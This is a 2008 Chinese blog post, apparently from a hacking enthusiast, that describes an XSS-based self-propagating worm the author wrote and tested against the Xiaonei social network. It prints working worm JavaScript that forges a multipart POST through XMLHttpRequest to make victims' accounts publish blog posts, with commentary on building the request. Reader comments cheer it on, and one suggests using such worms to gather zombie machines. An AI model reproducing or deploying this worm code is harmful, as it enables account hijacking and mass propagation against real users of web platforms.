百度空间 | 百度首页 
 
查看文章
 
构造HTTP消息头以实现WEB2.0 WORM
2008-02-18 18:35

前天发现校内网的UBB XSS,code了两天,这只危害性极大的蠕虫编写完毕,测试成功。蠕虫部分代码如下:

function _1() {
src="
http://blog.xiaonei.com/NewEntry.do";
var title="\u0033\u002e\u0037\u7ef4\u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了,这是解决汉字乱码的一个非常实用的技巧,记住了:-)
var _body="\u79bb\u6563\u503c\uff0c\u53ef\u60dc\u4f60\u770b\u5230\u7684\u662f\u4e71\u7801\u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";

/////////////HTTP消息头构造开始/////////////
argv="\r\n"; //这行不可缺少,HTTP消息头的第一行是空白的
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";
//name="title"以及下面所有的name="xxxx"都对应于表单中的表单元素的name属性值
//Content-Disposition是MIME协议的扩展,这里指定其使用form-data表单数据类型
argv+=(title+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";
argv+=(_body+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n";
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";
argv+=(blog_pic_id+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";
argv+=(pic_path+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";
argv+=(blogControl+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";
argv+=("publisher"+"\r\n");
argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
argv+="---------------------7964f8dddeb95fc5--\r\n";
//注意最后一行的分割特征符---------------------7964f8dddeb95fc5最后有两减号--,表示HTTP消息头结束
/////////////HTTP消息头构造结束/////////////

_3or7("POST",src,argv); //使用XMLHttpRequest对象发送构造好的HTTP消息头
_2();
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
//设置HTTP请求头类型,并指定使用-------------------7964f8dddeb95fc5作为上面HTTP消息头的分割特征符
_x.send(_a);
return _x.responseText;
}

_1()函数的功能是:发表一篇文章,文章标题为:3.7维度 :-(,内容为:离散值,可惜你看到的是乱码。一定要注意我在HTTP消息头上写下的注释。HTTP消息头的构造是很严格的!

我在《web2.0 worm技术细节》里说过:即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。其实这就要借助HTTP消息头技术,不过我在《web2.0 worm技术细节》中却想当然地绕过HTTP消息头的伪造来实现消息的后头传输。HTTP消息头我还没研究透,在这也不敢贸然否定什么。不过这次的WEB2.0 WORM是很成功的。除了无法绕过验证码或密码限制,其他的功能都能轻易完成。

有点要说明:如果某功能模块本身就是基于AJAX的,那么你就没必要构造HTTP消息头了,直接调用即可。AJAX是WEB前台与后台数据通信的中间体,这为我们的AJAX WORM的生存提供了绝佳的环境,比如百度空间的许多功能模块就是基于AJAX的,校内网很少……!!!这样我就说明白了吧?

【相关文章】

1、校内网的蠕虫分析:http://hi.baidu.com/monyer/blog/item/bc20a60fd6068ceeaa6457f4.html

2、理解HTTP消息头:http://www.binken.cn/article.asp?id=23

3、web2.0 worm技术细节:http://hi.baidu.com/ycosxhack/blog/item/c41f3f24c6ceaa37c995597e.html

【后记】

这只蠕虫要爆发非常的容易,而且一旦爆发,我就会被骂死……呵呵,本来只想利用这个UBB XSS来做点好玩的事,没想到蠕虫就这样写出来了。现在发现HTTP消息头真好玩,XSS也越来越有趣了。适可而止了,脆弱的校内网。


类别:Script Attack | 添加到搜藏 | 浏览() | 评论 (32)
 
最近读者:
 
网友评论:
1
2008-02-18 18:43 | 回复
先沙发再看~
 
2
2008-02-18 18:50 | 回复
呵呵。看你最近也在XSS。
 
3
2008-02-18 18:55 | 回复
路过. 老婆,出来看坏蛋……
 
4
2008-02-18 19:31 | 回复
昨天晚上看你XSS所有文章了 从最早的开始 后一半看不明白了 我知识贫乏啊 小打小闹 乐呵乐呵
 
5
2008-02-18 19:33 | 回复
你老婆是谁?
 
6
2008-02-18 19:35 | 回复
用ajax蠕虫抓肉鸡可就爽飞了.. 余弦继续加油哈 这个很有前景
 
7
2008-02-18 19:36 | 回复
恩,最早的都是简单的XSS,后期的就复杂了些,你还可以看我这个文章分类:asjs通信盒子。 其实也是XSS。只是涉及到AS编程。
 
8
2008-02-18 19:38 | 回复
我不喜欢这样做,记得很久以前第一次玩黑就是抓肉鸡。呵呵。
 
9
2008-02-18 19:38 | 回复
我玩过flash啊 AS会些 不过在那个上面做文章的话 效果估计不会太好 恩 我现在看http头呢 一会去看你那文章
 
10
2008-02-18 19:40 | 回复
咱俩留言速度快赶上聊QQ了.. 汗一个
 
11
2008-02-18 19:45 | 回复
呵呵。
 
12
2008-02-18 20:30 | 回复
太深奥了 哎.....知识不过关啊.
 
13
2008-02-18 20:36 | 回复
厉害
 
14
2008-02-18 21:19 | 回复
老兄,我发现你都吧xss都玩的出神入化了,呵呵,不错,很不错,很黄,很暴力。呵呵。
 
15
2008-02-18 21:20 | 回复
很陈,很冠希。
 
16
2008-02-18 22:29 | 回复
很久没来过了,来转转.嘻嘻!
 
17
2008-02-19 10:35 | 回复
不懂,呵呵,XSS看来很好玩 哪天去书店买本来看看..
 
18
2008-02-19 12:47 | 回复
书店似乎没有专门XSS的书籍。。。
 
19
2008-02-19 14:14 | 回复
去书店买 - -! 我再汗一个
 
20
2008-02-19 15:01 | 回复
哥哥又做坏事了。。。我想做都做不了。努力中!
 
21
2008-02-19 17:13 | 回复
坏人真多^_^
 
22
2008-02-19 22:54 | 回复
厉害
 
23
2008-02-20 00:54 | 回复
呵呵,余弦兄研究蠕虫入迷啦~
 
24
2008-02-20 16:07 | 回复
~
 
25
2008-02-21 07:51 | 回复
21楼是我小老婆
 
26
2008-02-21 15:24 | 回复
(Gray sign)闪到一旁去
 
27
2008-02-21 21:55 | 回复
元宵节快乐
 
28
2008-02-22 12:33 | 回复
那个访问统计的还在,今天又看到了……
 
29
2008-02-22 14:10 | 回复
恩,百度一直没修补,因为没人进行利用。
 
30
2008-02-29 01:07 | 回复
相当好玩,可惜我不会,看看,哈哈。
 
31
2008-03-01 15:20 | 回复
好多高手,膜拜一下……
 
32
2008-03-01 15:51 | 回复
呵呵,高手啊~
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu